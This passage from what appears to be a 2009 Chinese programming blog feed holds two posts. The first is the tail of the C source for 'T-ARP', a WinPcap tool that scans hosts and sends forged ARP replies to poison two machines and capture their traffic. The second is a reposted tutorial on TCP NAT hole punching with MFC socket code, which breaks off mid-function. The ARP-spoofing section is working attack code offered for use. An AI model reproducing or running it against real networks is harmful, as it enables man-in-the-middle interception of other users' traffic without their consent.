arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
arp.arp_spa=htonl(myip);
memcpy(arp.arp_sha,mmac,6);
if(fun==1 || fun==2)
stimes=1;
else if(fun==3 || fun==4)
stimes=2;
for(k=0;k&lt;stimes;k++)
{
if(stimes==1)
{
arp.arp_tpa=htonl(firstip+(num++));
}
else if(stimes==2)
{
switch(k)
{
case 0:
arp.arp_tpa=htonl(firstip);
break;
case 1:
arp.arp_tpa=htonl(secondip);
break;
default:
break;
}
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in sendMASR Error: %d\n",GetLastError());
return -1;
}
}
return 0;
}
DWORD WINAPI sendSR(LPVOID no)
{
int     fun=*(int *)no;
int     j,k;
char    sendbuf[1024];
struct  sockaddr_in  fsin,ssin;
BOOL    stimes=FALSE;
ETHDR   eth;
ARPHDR  arp;
fsin.sin_addr.s_addr=htonl(firstip);
ssin.sin_addr.s_addr=htonl(secondip);
eth.eh_type=htons(ETH_ARP);
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
if(fun==3)
{
if(mm)
{
if((firstip==myip) &amp;&amp; (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
for(j=0;j&lt;2;j++)
{
if(j==0)
{
printf("\nSpoofing %.16s :  ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));
}
else if(j==1)
{
printf("Spoofing %.16s :  ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));
}
for(k=0;k&lt;5;k++)
printf("%.2x-",mmac[k]);
printf("%.2x\n",mmac[5]);
}
printf("\ni will try to snoof ...\n\n");
stimes=TRUE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else if(fun==4)
{
if(mm)
{
if((firstip==myip) &amp;&amp; (secondip==myip))
{
fm=TRUE;
sm=TRUE;
memcpy(fmac,mmac,6);
memcpy(smac,mmac,6);
}
else if(!fm || !sm)
{
printf("\nNot get enough data\n");
return -1;
}
printf("\nReset %.16s :  ",inet_ntoa(fsin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(ssin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",smac[k]);
printf("%.2x\n",smac[5]);
printf("Reset %.16s :  ",inet_ntoa(ssin.sin_addr));
printf("%.16s ==&gt; ",inet_ntoa(fsin.sin_addr));
for(k=0;k&lt;5;k++)
printf("%.2x-",fmac[k]);
printf("%.2x\n\n",fmac[5]);
stimes=FALSE;
}
else
{
printf("\nNot get enough data\n");
return -1;
}
}
else
return -1;
do
{
memcpy(eth.eh_dst,fmac,6);
memcpy(arp.arp_tha,fmac,6);
arp.arp_tpa=htonl(firstip);
arp.arp_spa=htonl(secondip);
if(!stimes)
{
memcpy(eth.eh_src,smac,6);
memcpy(arp.arp_sha,smac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSetNumWrites(lpadapter,2)==FALSE)
{
printf("Warning: Unable to send a packet 2 times\n");
}
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket in SendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
memcpy(eth.eh_dst,smac,6);
memcpy(arp.arp_tha,smac,6);
arp.arp_tpa=htonl(secondip);
arp.arp_spa=htonl(firstip);
if(!stimes)
{
memcpy(eth.eh_src,fmac,6);
memcpy(arp.arp_sha,fmac,6);
}
else
{
memcpy(eth.eh_src,mmac,6);
memcpy(arp.arp_sha,mmac,6);
}
memset(sendbuf,0,sizeof(sendbuf));
memcpy(sendbuf,&#240;,sizeof(eth));
memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
printf("PacketSendPacket int sendSR Error: %d\n",GetLastError());
return -1;
}
Sleep(1000);
}while(stimes);
if(fun==4)
printf("Reset Successfully");
return 0;
}
int main(int argc,char *argv[])
{
HANDLE   sthread,rthread;
WCHAR    adaptername[8192];
WCHAR    *name1,*name2;
ULONG    adapterlength;
DWORD    threadsid,threadrid;
struct   NetType      ntype;
struct   bpf_stat     stat;
struct   sockaddr_in  sin;
struct   npf_if_addr  ipbuff;
int      adapternum=0,opti=0,open,i,total;
long     npflen;
system("cls.exe");
start();
if(argc!=4)
{
usage();
getche();
return -1;
}
else
{
if(!strcmp(argv[1],"-m"))
{
opti=1;
}
else if(!strcmp(argv[1],"-a"))
{
opti=2;
}
else if(!strcmp(argv[1],"-s"))
{
opti=3;
if((fp=fopen("capture.txt","w+"))==NULL)
{
printf("Open capture.txt Error: %d\n");
return -1;
}
else
{
fwrite("T-ARP Captrue Data",20,1,fp);
}
}
else if(!strcmp(argv[1],"-r"))
{
opti=4;
}
else
{
usage();
getche();
return -1;
}
}
firstip=ntohl(inet_addr(argv[2]));
secondip=ntohl(inet_addr(argv[3]));
total=secondip-firstip+1;
printf("\nLibarary Version: %s",PacketGetVersion());
adapterlength=sizeof(adaptername);
if(PacketGetAdapterNames((char *)adaptername,&amp;adapterlength)==FALSE)
{
printf("PacketGetAdapterNames Error: %d\n",GetLastError());
return -1;
}
name1=adaptername;
name2=adaptername;
i=0;
while((*name1!=''\0'') || (*(name1-1)!=''\0''))
{
if(*name1==''\0'')
{
memcpy(adapterlist[i],name2,2*(name1-name2));
name2=name1+1;
i++;
}
name1++;
}
adapternum=i;
printf("\nAdapters Installed:\n");
for(i=0;i&lt;adapternum;i++)
wprintf(L"%d - %s\n",i+1,adapterlist[i]);
do
{
printf("\nSelect the number of the adapter to open: ");
scanf("%d",&amp;open);
if(open&gt;=1 &amp;&amp; open&lt;=adapternum)
break;
}while(open&lt;1 || open&gt;adapternum);
lpadapter=PacketOpenAdapter(adapterlist[open-1]);
if(!lpadapter || (lpadapter-&gt;hFile==INVALID_HANDLE_VALUE))
{
printf("PacketOpenAdapter Error: %d\n",GetLastError());
return -1;
}
if(PacketGetNetType(lpadapter,&amp;ntype))
{
printf("\n\t\t*** Host Information ***\n");
printf("[LinkTpye:]\t%d\t\t",ntype.LinkType);
printf("[LinkSpeed:]\t%d b/s\n",ntype.LinkSpeed);
}
npflen=sizeof(ipbuff);
if(PacketGetNetInfoEx(adapterlist[open-1],&amp;ipbuff,&amp;npflen))
{
sin=*(struct sockaddr_in *)&amp;(ipbuff.Broadcast);
printf("[Broadcast:]\t%.16s\t",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&amp;(ipbuff.SubnetMask);
printf("[SubnetMask:]\t%.16s\n",inet_ntoa(sin.sin_addr));
sin=*(struct sockaddr_in *)&amp;(ipbuff.IPAddress);
printf("[IPAddress:]\t%.16s\t",inet_ntoa(sin.sin_addr));
myip=ntohl(sin.sin_addr.s_addr);
printf("[MACAddress:]");
}
else
{
printf("\nNot get enough data\n");
PacketFreePacket(lppackets);
PacketCloseAdapter(lpadapter);
return -1;
}
if((lppackets=PacketAllocatePacket())==FALSE)
{
printf("PacketAllocatePacket send Error: %d\n",GetLastError());
return -1;
}
rthread=CreateThread(NULL,0,sniff,(LPVOID)&amp;opti,0,&amp;threadrid);
Sleep(300);
if(getmine())
{
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return -1;
}
Sleep(300);
if((opti==1) || (opti==2))
{
for(i=0;i&lt;total;i++)
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);
Sleep(30);
}
Sleep(1000);
}
else if((opti==3) || (opti==4))
{
sthread=CreateThread(NULL,0,sendMASR,(LPVOID)&amp;opti,0,&amp;threadsid);
Sleep(300);
CloseHandle(sthread);
sthread=CreateThread(NULL,0,sendSR,(LPVOID)&amp;opti,0,&amp;threadsid);
}
WaitForSingleObject(sthread,INFINITE);
CloseHandle(sthread);
CloseHandle(rthread);
if(PacketGetStats(lpadapter,&amp;stat)==FALSE)
{
printf("Warning: Unable to get the adapter stat\n");
}
else
{
printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);
}
PacketFreePacket(lppackets);
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
return 0;
}
</pre>
<img src ="http://www.cppblog.com/iniwf/aggbug/79595.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 16:28 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>TCP实现P2P通信、TCP穿越NAT的方法、TCP打洞</title><link>http://www.cppblog.com/iniwf/archive/2009/04/06/79093.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Mon, 06 Apr 2009 06:01:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/06/79093.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79093.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/06/79093.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79093.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79093.html</trackback:ping><description><![CDATA[转自<a href="http://www.vckbase.com/document/viewdoc/?id=1773">http://www.vckbase.com/document/viewdoc/?id=1773<br></a><br>
<p align=center><strong>TCP实现P2P通信、TCP穿越NAT的方法、TCP打洞</strong><br><br>作者：谢红伟</p>
<p><a href="http://www.vckbase.com/code/downcode.asp?id=3062"><u><font color=#0000ff>下载源代码</font></u></a><br><br>这个标题用了两个顿号三个名称，其实说得是同一个东西，只是网上有不同的说法罢了，另外好像还有人叫TCP打孔（我的朋友小妞听说后问&#8220;要打孔啊，要不要我帮你去借个电钻过来啊？&#8221;&#8220;~！&#183;￥%&#8230;&#8230;&#183;！&#8221;）。</p>
<p>闲话少说，我们先看一下技术背景：<br>Internet的迅速发展以及IPv4 地址数量的限制使得网络地址翻译(NAT,Network Address Trans2lation)设备得到广泛应用。NAT设备允许处于同一NAT后的多台主机共享一个公网(本文将处于同一NAT后的网络称为私网,处于NAT前的网络称为公网) IP 地址。一个私网IP 地址通过NAT设备与公网的其他主机通信。公网和私网IP地址域，如下图所示：<br><img height=469 src="http://www.vckbase.com/document/journal/vckbase51/images/tcp11.gif" width=600><br>广域网与私网示意图<br><br>一般来说都是由私网内主机（例如上图中&#8220;电脑A-01&#8221;）主动发起连接，数据包经过NAT地址转换后送给公网上的服务器（例如上图中的&#8220;Server&#8221;），连接建立以后可双向传送数据，NAT设备允许私网内主机主动向公网内主机发送数据,但却禁止反方向的主动传递，但在一些特殊的场合需要不同私网内的主机进行互联（例如P2P软件、网络会议、视频传输等），TCP穿越NAT的问题必须解决。网上关于UDP穿越NAT的文章很多，而且还有配套源代码，但是我个人认为UDP数据虽然速度快，但是没有保障，而且NAT为UDP准备的临时端口号有生命周期的限制，使用起来不够方便，在需要保证传输质量的应用上TCP连接还是首选（例如：文件传输）。<br>网上也有不少关于TCP穿越NAT（即TCP打洞）的介绍文章，但不幸我还没找到相关的源代码可以参考，我利用空余时间写了一个可以实现TCP穿越NAT，让不同的私网内主机建立直接的TCP通信的源代码。</p>
<p>这里需要介绍一下NAT的类型：<br>NAT设备的类型对于TCP穿越NAT,有着十分重要的影响,根据端口映射方式,NAT可分为如下4类,前3种NAT类型可统称为cone类型。<br>(1)全克隆( Full Cone) : NAT把所有来自相同内部IP地址和端口的请求映射到相同的外部IP地址和端口。任何一个外部主机均可通过该映射发送IP包到该内部主机。<br>(2)限制性克隆(Restricted Cone) : NAT把所有来自相同内部IP地址和端口的请求映射到相同的外部IP地址和端口。但是,只有当内部主机先给IP地址为X的外部主机发送IP包,该外部主机才能向该内部主机发送IP包。<br>(3)端口限制性克隆( Port Restricted Cone) :端口限制性克隆与限制性克隆类似,只是多了端口号的限制,即只有内部主机先向IP地址为X,端口号为P的外部主机发送1个IP包,该外部主机才能够把源端口号为P的IP包发送给该内部主机。<br>(4)对称式NAT ( Symmetric NAT) :这种类型的NAT与上述3种类型的不同,在于当同一内部主机使用相同的端口与不同地址的外部主机进行通信时, NAT对该内部主机的映射会有所不同。对称式NAT不保证所有会话中的私有地址和公开IP之间绑定的一致性。相反,它为每个新的会话分配一个新的端口号。</p>
<p>我们先假设一下：有一个服务器S在公网上有一个IP，两个私网分别由NAT-A和NAT-B连接到公网，NAT-A后面有一台客户端A，NAT-B后面有一台客户端B，现在，我们需要借助S将A和B建立直接的TCP连接，即由B向A打一个洞，让A可以沿这个洞直接连接到B主机，就好像NAT-B不存在一样。<br>实现过程如下（请参照源代码）：<br>1、 S启动两个网络侦听，一个叫【主连接】侦听，一个叫【协助打洞】的侦听。<br>2、 A和B分别与S的【主连接】保持联系。<br>3、 当A需要和B建立直接的TCP连接时，首先连接S的【协助打洞】端口，并发送协助连接申请。同时在该端口号上启动侦听。注意由于要在相同的网络终端上绑定到不同的套接字上，所以必须为这些套接字设置 SO_REUSEADDR 属性（即允许重用），否则侦听会失败。<br>4、 S的【协助打洞】连接收到A的申请后通过【主连接】通知B，并将A经过NAT-A转换后的公网IP地址和端口等信息告诉B。<br>5、 B收到S的连接通知后首先与S的【协助打洞】端口连接，随便发送一些数据后立即断开，这样做的目的是让S能知道B经过NAT-B转换后的公网IP和端口号。<br>6、 B尝试与A的经过NAT-A转换后的公网IP地址和端口进行connect，根据不同的路由器会有不同的结果，有些路由器在这个操作就能建立连接（例如我用的TPLink R402），大多数路由器对于不请自到的SYN请求包直接丢弃而导致connect失败，但NAT-A会纪录此次连接的源地址和端口号，为接下来真正的连接做好了准备，这就是所谓的打洞，即B向A打了一个洞，下次A就能直接连接到B刚才使用的端口号了。<br>7、 客户端B打洞的同时在相同的端口上启动侦听。B在一切准备就绪以后通过与S的【主连接】回复消息&#8220;我已经准备好&#8221;，S在收到以后将B经过NAT-B转换后的公网IP和端口号告诉给A。<br>8、 A收到S回复的B的公网IP和端口号等信息以后，开始连接到B公网IP和端口号，由于在步骤6中B曾经尝试连接过A的公网IP地址和端口，NAT-A纪录了此次连接的信息，所以当A主动连接B时，NAT-B会认为是合法的SYN数据，并允许通过，从而直接的TCP连接建立起来了。</p>
<p>整个实现过程靠文字恐怕很难讲清楚，再加上我的语言表达能力很差（高考语文才考75分，总分150分，惭愧），所以只好用代码来说明问题了。<br></p>
<pre>// 服务器地址和端口号定义
#define SRV_TCP_MAIN_PORT		4000	// 服务器主连接的端口号
#define SRV_TCP_HOLE_PORT		8000	// 服务器响应客户端打洞申请的端口号
</pre>
这两个端口是固定的，服务器S启动时就开始侦听这两个端口了。
<pre>//
// 将新客户端登录信息发送给所有已登录的客户端，但不发送给自己
//
BOOL SendNewUserLoginNotifyToAll ( LPCTSTR lpszClientIP, UINT nClientPort, DWORD dwID )
{
ASSERT ( lpszClientIP &amp;&amp; nClientPort &gt; 0 );
g_CSFor_PtrAry_SockClient.Lock();
for ( int i=0; i&lt;g_PtrAry_SockClient.GetSize(); i++ )
{
CSockClient *pSockClient = (CSockClient*)g_PtrAry_SockClient.GetAt(i);
if ( pSockClient &amp;&amp; pSockClient-&gt;m_bMainConn &amp;&amp; pSockClient-&gt;m_dwID &gt; 0 &amp;&amp; pSockClient-&gt;m_dwID != dwID )
{
if ( !pSockClient-&gt;SendNewUserLoginNotify ( lpszClientIP, nClientPort, dwID ) )
{
g_CSFor_PtrAry_SockClient.Unlock();
return FALSE;
}
}
}
g_CSFor_PtrAry_SockClient.Unlock ();
return TRUE;
}
</pre>
当有新的客户端连接到服务器时，服务器负责将该客户端的信息（IP地址、端口号）发送给其他客户端。
<pre>//
// 执行者：客户端A
// 有新客户端B登录了，我（客户端A）连接服务器端口 SRV_TCP_HOLE_PORT ，申请与客户端B建立直接的TCP连接
//
BOOL Handle_NewUserLogin ( CSocket &amp;MainSock, t_NewUserLoginPkt *pNewUserLoginPkt )
{
printf ( "New user ( %s:%u:%u ) login server\n", pNewUserLoginPkt-&gt;szClientIP,
pNewUserLoginPkt-&gt;nClientPort, pNewUserLoginPkt-&gt;dwID );
BOOL bRet = FALSE;
DWORD dwThreadID = 0;
t_ReqConnClientPkt ReqConnClientPkt;
CSocket Sock;
CString csSocketAddress;
char szRecvBuffer[NET_BUFFER_SIZE] = {0};
int nRecvBytes = 0;
// 创建打洞Socket，连接服务器协助打洞的端口号 SRV_TCP_HOLE_PORT
try
{
if ( !Sock.Socket () )
{
printf ( "Create socket failed : %s\n", hwFormatMessage(GetLastError()) );
goto finished;
}
UINT nOptValue = 1;
if ( !Sock.SetSockOpt ( SO_REUSEADDR, &amp;nOptValue , sizeof(UINT) ) )
{
printf ( "SetSockOpt socket failed : %s\n", hwFormatMessage(GetLastError()) );
goto finished;
}
if ( !Sock.Bind ( 0 ) )
{
printf ( "Bind socket failed : %s\n", hwFormatMessage(GetLastError()) );
goto finished;
}
if ( !Sock.Connect ( g_pServerAddess, SRV_TCP_HOLE_PORT ) )
{
printf ( "Connect to [%s:%d] failed : %s\n", g_pServerAddess,
SRV_TCP_HOLE_PORT, hwFormatMessage(GetLastError()) );
goto finished;
}
}
catch ( CException e )
{
char szError[255] = {0};
e.GetErrorMessage( szError, sizeof(szError) );
printf ( "Exception occur, %s\n", szError );
goto finished;
}
g_pSock_MakeHole = &amp;Sock;
ASSERT ( g_nHolePort == 0 );
VERIFY ( Sock.GetSockName ( csSocketAddress, g_nHolePort ) );
// 创建一个线程来侦听端口 g_nHolePort 的连接请求
dwThreadID = 0;
g_hThread_Listen = ::CreateThread ( NULL, 0, ::ThreadProc_Listen, LPVOID(NULL), 0, &amp;dwThreadID );
if (!HANDLE_IS_VALID(g_hThread_Listen) ) return FALSE;
Sleep ( 3000 );
// 我（客户端A）向服务器协助打洞的端口号 SRV_TCP_HOLE_PORT 发送申请，希望与新登录的客户端B建立连接
// 服务器会将我的打洞用的外部IP和端口号告诉客户端B
ASSERT ( g_WelcomePkt.dwID &gt; 0 );
ReqConnClientPkt.dwInviterID = g_WelcomePkt.dwID;
ReqConnClientPkt.dwInvitedID = pNewUserLoginPkt-&gt;dwID;
if ( Sock.Send ( &amp;ReqConnClientPkt, sizeof(t_ReqConnClientPkt) ) != sizeof(t_ReqConnClientPkt) )
goto finished;
// 等待服务器回应，将客户端B的外部IP地址和端口号告诉我（客户端A）
nRecvBytes = Sock.Receive ( szRecvBuffer, sizeof(szRecvBuffer) );
if ( nRecvBytes &gt; 0 )
{
ASSERT ( nRecvBytes == sizeof(t_SrvReqDirectConnectPkt) );
PACKET_TYPE *pePacketType = (PACKET_TYPE*)szRecvBuffer;
ASSERT ( pePacketType &amp;&amp; *pePacketType == PACKET_TYPE_TCP_DIRECT_CONNECT );
Sleep ( 1000 );
Handle_SrvReqDirectConnect ( (t_SrvReqDirectConnectPkt*)szRecvBuffer );
printf ( "Handle_SrvReqDirectConnect end\n" );
}
// 对方断开连接了
else
{
goto finished;
}
bRet = TRUE;
finished:
g_pSock_MakeHole = NULL;
return bRet;
}
</pre>
这里假设客户端A先启动，当客户端B启动后客户端A将收到服务器S的新客户端登录的通知，并得到客户端B的公网IP和端口，客户端A启动线程连接S的【协助打洞】端口(本地端口号可以用GetSocketName()函数取得，假设为M)，请求S协助TCP打洞，然后启动线程侦听该本地端口（前面假设的M）上的连接请求，然后等待服务器的回应。
<pre>//
// 客户端A请求我（服务器）协助连接客户端B，这个包应该在打洞Socket中收到
//
BOOL CSockClient::Handle_ReqConnClientPkt(t_ReqConnClientPkt *pReqConnClientPkt)
{
ASSERT ( !m_bMainConn );
CSockClient *pSockClient_B = FindSocketClient ( pReqConnClientPkt-&gt;dwInvitedID );
if ( !pSockClient_B ) return FALSE;
printf ( "%s:%u:%u invite %s:%u:%u connection\n", m_csPeerAddress, m_nPeerPort, m_dwID,
pSockClient_B-&gt;m_csPeerAddress, pSockClient_B-&gt;m_nPeerPort, pSockClient_B-&gt;m_dwID );
// 客户端A想要和客户端B建立直接的TCP连接，服务器负责将A的外部IP和端口号告诉给B
t_SrvReqMakeHolePkt SrvReqMakeHolePkt;
SrvReqMakeHolePkt.dwInviterID = pReqConnClientPkt-&gt;dwInviterID;
SrvReqMakeHolePkt.dwInviterHoleID = m_dwID;
SrvReqMakeHolePkt.dwInvitedID = pReqConnClientPkt-&gt;dwInvitedID;
STRNCPY_CS ( SrvReqMakeHolePkt.szClientHoleIP, m_csPeerAddress );
SrvReqMakeHolePkt.nClientHolePort = m_nPeerPort;
if ( pSockClient_B-&gt;SendChunk ( &amp;SrvReqMakeHolePkt, sizeof(t_SrvReqMakeHolePkt), 0 ) != sizeof(t_SrvReqMakeHolePkt) )
return FALSE;
// 等待客户端B打洞完成，完成以后通知客户端A直接连接客户端外部IP和端口号
if ( !HANDLE_IS_VALID(m_hEvtWaitClientBHole) )
return FALSE;
if ( WaitForSingleObject ( m_hEvtWaitClientBHole, 6000*1000 ) == WAIT_OBJECT_0 )
{
if ( SendChunk ( &amp;m_SrvReqDirectConnectPkt, sizeof(t_SrvReqDirectConnectPkt), 0 )
== sizeof(t_SrvReqDirectConnectPkt) )
return TRUE;
}
return FALSE;
}
</pre>
服务器S收到客户端A的协助打洞请求后通知客户端B，要求客户端B向客户端A打洞，即让客户端B尝试与客户端A的公网IP和端口进行connect。
<pre>//
// 执行者：客户端B
// 处理服务器要我（客户端B）向另外一个客户端（A）打洞，打洞操作在线程中进行。
// 先连接服务器协助打洞的端口号 SRV_TCP_HOLE_PORT ，通过服务器告诉客户端A我（客户端B）的外部IP地址和端口号，然后启动线程进行打洞，
// 客户端A在收到这些信息以后会发起对我（客户端B）的外部IP地址和端口号的连接（这个连接在客户端B打洞完成以后进行，所以
// 客户端B的NAT不会丢弃这个SYN包，从而连接能建立）
//
BOOL Handle_SrvReqMakeHole ( CSocket &amp;MainSock, t_SrvReqMakeHolePkt *pSrvReqMakeHolePkt )
{
ASSERT ( pSrvReqMakeHolePkt );
// 创建Socket，连接服务器协助打洞的端口号 SRV_TCP_HOLE_PORT，连接建立以后发送一个断开连接的请求给服务器，然后连接断开
// 这里连接的目的是让服务器知道我（客户端B）的外部IP地址和端口号，以通知客户端A
CSocket Sock;
try
{
if ( !Sock.Create () )
{
printf ( "Create socket failed : %s\n", hwFormatMessage(GetLastError()) );
return FALSE;
}
if ( !Sock.Connect ( g_pServerAddess, SRV_TCP_HOLE_PORT ) )
{
printf ( "Connect to [%s:%d] failed : %s\n", g_pServerAddess,
SRV_TCP_HOLE_PORT, hwFormatMessage(GetLastError()) );
return FALSE;
}
}
catch ( CException e )
{
char szError[255] = {0};
e.GetErrorMessage( szError, sizeof(szError) );
printf ( "Exception occur, %s\n", szError );
return FALSE;
}
CString csSocketAddress;
ASSERT ( g_nHolePort == 0 );
VERIFY ( Sock.GetSockName ( csSocketAddress, g_nHolePort ) );
// 连接服务器协助打洞的端口号 SRV_TCP_HOLE_PORT，发送一个断开连接的请求，然后将连接断开，服务器在收到这个包的时候也会将
// 连接断开
t_ReqSrvDisconnectPkt ReqSrvDisconnectPkt;
ReqSrvDisconnectPkt.dwInviterID = pSrvReqMakeHolePkt-&gt;dwInvitedID;
ReqSrvDisconnectPkt.dwInviterHoleID = pSrvReqMakeHolePkt-&gt;dwInviterHoleID;
ReqSrvDisconnectPkt.dwInvitedID = pSrvReqMakeHolePkt-&gt;dwInvitedID;
ASSERT ( ReqSrvDisconnectPkt.dwInvitedID == g_WelcomePkt.dwID );
if ( Sock.Send ( &amp;ReqSrvDisconnectPkt, sizeof(t_ReqSrvDisconnectPkt) ) != sizeof(t_ReqSrvDisconnectPkt) )
return FALSE;
Sleep ( 100 );
Sock.Close ();
// 创建一个线程来向客户端A的外部IP地址、端口号打洞
t_SrvReqMakeHolePkt *pSrvReqMakeHolePkt_New = new t_SrvReqMakeHolePkt;
if ( !pSrvReqMakeHolePkt_New ) return FALSE;
memcpy ( pSrvReqMakeHolePkt_New, pSrvReqMakeHolePkt, sizeof(t_SrvReqMakeHolePkt) );
DWORD dwThreadID = 0;
g_hThread_MakeHole = ::CreateThread ( NULL, 0, ::ThreadProc_MakeHole,
LPVOID(pSrvReqMakeHolePkt_New), 0, &amp;dwThreadID );
if (!HANDLE_IS_VALID(g_hThread_MakeHole) ) return FALSE;
// 创建一个线程来侦听端口 g_nHolePort 的连接请求
dwThreadID = 0;
g_hThread_Listen = ::CreateThread ( NULL, 0, ::ThreadProc_Listen, LPVOID(NULL), 0, &amp;dwThreadID );
if (!HANDLE_IS_VALID(g_hThread_Listen) ) return FALSE;
// 等待打洞和侦听完成
HANDLE hEvtAry[] = { g_hEvt_ListenFinished, g_hEvt_MakeHoleFinished };
if ( ::WaitForMultipleObjects ( LENGTH(hEvtAry), hEvtAry, TRUE, 30*1000 ) == WAIT_TIMEOUT )
return FALSE;
t_HoleListenReadyPkt HoleListenReadyPkt;
HoleListenReadyPkt.dwInvitedID = pSrvReqMakeHolePkt-&gt;dwInvitedID;
HoleListenReadyPkt.dwInviterHoleID = pSrvReqMakeHolePkt-&gt;dwInviterHoleID;
HoleListenReadyPkt.dwInvitedID = pSrvReqMakeHolePkt-&gt;dwInvitedID;
if ( MainSock.Send ( &amp;HoleListenReadyPkt, sizeof(t_HoleListenReadyPkt) ) != sizeof(t_HoleListenReadyPkt) )
{
printf ( "Send HoleListenReadyPkt to %s:%u failed : %s\n",
g_WelcomePkt.szClientIP, g_WelcomePkt.nClientPort,
hwFormatMessage(GetLastError()) );
return FALSE;
}
return TRUE;
}
</pre>
客户端B收到服务器S的打洞通知后，先连接S的【协助打洞】端口号（本地端口号可以用GetSocketName()函数取得，假设为X），启动线程尝试连接客户端A的公网IP和端口号，根据路由器不同，连接情况各异，如果运气好直接连接就成功了，即使连接失败，但打洞便完成了。同时还要启动线程在相同的端口（即与S的【协助打洞】端口号建立连接的本地端口号X）上侦听到来的连接，等待客户端A直接连接该端口号。
<pre>//
// 执行者：客户端A
// 服务器要求主动端（客户端A）直接连接被动端（客户端B）的外部IP和端口号
//
BOOL Handle_SrvReqDirectConnect ( t_SrvReqDirectConnectPkt *pSrvReqDirectConnectPkt )
{
ASSERT ( pSrvReqDirectConnectPkt );
printf ( "You can connect direct to ( IP:%s  PORT:%d  ID:%u )\n", pSrvReqDirectConnectPkt-&gt;szInvitedIP,
pSrvReqDirectConnectPkt-&gt;nInvitedPort, pSrvReqDirectConnectPkt-&gt;dwInvitedID );
// 直接与客户端B建立TCP连接，如果连接成功说明TCP打洞已经成功了。
CSocket Sock;
try
{
if ( !Sock.Socket () )
{
printf ( "Create socket failed : %s\n", hwFormatMessage(GetLastError()) );
return FALSE;
}
UINT nOptValue = 1;
if ( !Sock.SetSockOpt ( SO_REUSEADDR, &amp;nOptValue , sizeof(UINT) ) )
{
printf ( "SetSockOpt socket failed : %s\n", hwFormatMessage(GetLastError()) );
return FALSE;
}
if ( !Sock.Bind ( g_nHolePort ) )
{
printf ( "Bind socket failed : %s\n", hwFormatMessage(GetLastError()) );
return FALSE;
}
for ( int ii=0; ii&lt;100; ii++ )
{
if ( WaitForSingleObject ( g_hEvt_ConnectOK, 0 ) == WAIT_OBJECT_0 )
break;
DWORD dwArg = 1;
if ( !Sock.IOCtl ( FIONBIO, &amp;dwArg ) )
{
printf ( "IOCtl failed : %s\n", hwFormatMessage(GetLastError()) );
}
if ( !Sock.Connect ( pSrvReqDirectConnectPkt-&gt;szInvitedIP, pSrvReqDirectConnectPkt-&gt;nInvitedPort ) )
{
printf ( "Connect to [%s:%d] failed : %s\n",
pSrvReqDirectConnectPkt-&gt;szInvitedIP,
pSrvReqDirectConnectPkt-&gt;nInvitedPort,
hwFormatMessage(GetLastError()) );
Sleep (100);
}
else break;
}
if ( WaitForSingleObject ( g_hEvt_ConnectOK, 0 ) != WAIT_OBJECT_0 )
{
if ( HANDLE_IS_VALID ( g_hEvt_ConnectOK ) ) SetEvent ( g_hEvt_ConnectOK );
printf ( "Connect to [%s:%d] successfully !!!\n",
pSrvReqDirectConnectPkt-&gt;szInvitedIP, pSrvReqDirectConnectPkt-&gt;nInvitedPort );
// 接收测试数据
printf ( "Receiving data ...\n" );
char szRecvBuffer[NET_BUFFER_SIZE] = {0};
int nRecvBytes = 0;
for ( int i=0; i&lt;1000; i++ )
{
nRecvBytes = Sock.Receive ( szRecvBuffer, sizeof(szRecvBuffer) );
if ( nRecvBytes &gt; 0 )
{
printf ( "--&gt;&gt;&gt; Received Data : %s\n", szRecvBuffer );
memset ( szRecvBuffer, 0, sizeof(szRecvBuffer) );
SLEEP_BREAK ( 1 );
}
else
{
SLEEP_BREAK ( 300 );
}
}
}
}
catch ( CException e )
{
char szError[255] = {0};
